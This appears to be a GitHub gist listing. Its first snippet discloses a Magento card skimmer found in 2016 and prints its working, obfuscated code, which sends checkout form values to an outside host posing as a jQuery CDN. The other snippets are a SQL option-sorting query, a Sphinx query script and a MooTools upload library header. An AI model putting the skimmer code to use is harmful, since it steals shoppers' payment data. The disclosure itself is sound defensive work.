Skip to content

Instantly share code, notes, and snippets.

@fheyer
fheyer / scraper.txt
Last active November 9, 2016 14:03
Magento CC scraper that sends data to cloudfusion.me pretending to be a JS CDN found 2016-03-16
Code first checks for current URL being onepage or checkout.
If checks is positive all input values are sent via POST request to
https://cloudfusion.me/cdn/jquery.min.js
code unaltered below:
<script type="text/javascript">jQuery(function(t){t("button").on("click",function(){q="h="+window.location.href,q.match(/onepage|checkout/gi)&&(t("input, select").each(function(){t(this).val()?q+="&"+t(this).attr("name")+"="+t(this).val():""}),t.post(t("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#99;&#108;&#111;&#117;&#100;&#102;&#117;&#115;&#105;&#111;&#110;&#46;&#109;&#101;&#47;&#99;&#100;&#110;&#47;&#106;&#113;&#117;&#101;&#114;&#121;&#46;&#109;&#105;&#110;&#46;&#106;&#115;").text(),q))})});</script>
@fheyer
fheyer / reorder.sql
Last active August 16, 2023 13:28
Reorder attribute options in Magento by custom sort order directly in database
-- we want to order attribute options by option label
-- the label is stored as value in table eav_attribute_option_value
-- order is stored in table eav_attribute_option
-- we therefore have to use update with multiple table syntax with a subselect as
-- workaround as we can't use ORDER BY in update with multiple tables
-- sort attribute with ID 173 by column default sorting
UPDATE eav_attribute_option AS o INNER JOIN (
SELECT option_id FROM eav_attribute_option_value WHERE store_id=0 ORDER BY value
) as v on o.option_id=v.option_id,
@fheyer
fheyer / qsearch
Created March 2, 2014 13:47
testing tool for running sphinx search queries locally (uses SphinxQL instead of notorious cmd line tool search)
#!/bin/sh
mysql -h0 -P9306 -e "select * from $1 where match('$2'); show meta;"
@fheyer
fheyer / File.Upload.js
Created June 24, 2012 10:43 — forked from mloberg/File.Upload.js
MooTools Ajax File Upload (backport to mootools 1.2.5)
/*
name: [File.Upload, Request.File]
description: Ajax file upload with MooTools.
license: MIT-style license
author: Matthew Loberg
requires: [Request]
provides: [File.Upload, Request.File]
credits: Based off of MooTools-Form-Upload (https://github.com/arian/mootools-form-upload/) by Arian Stolwijk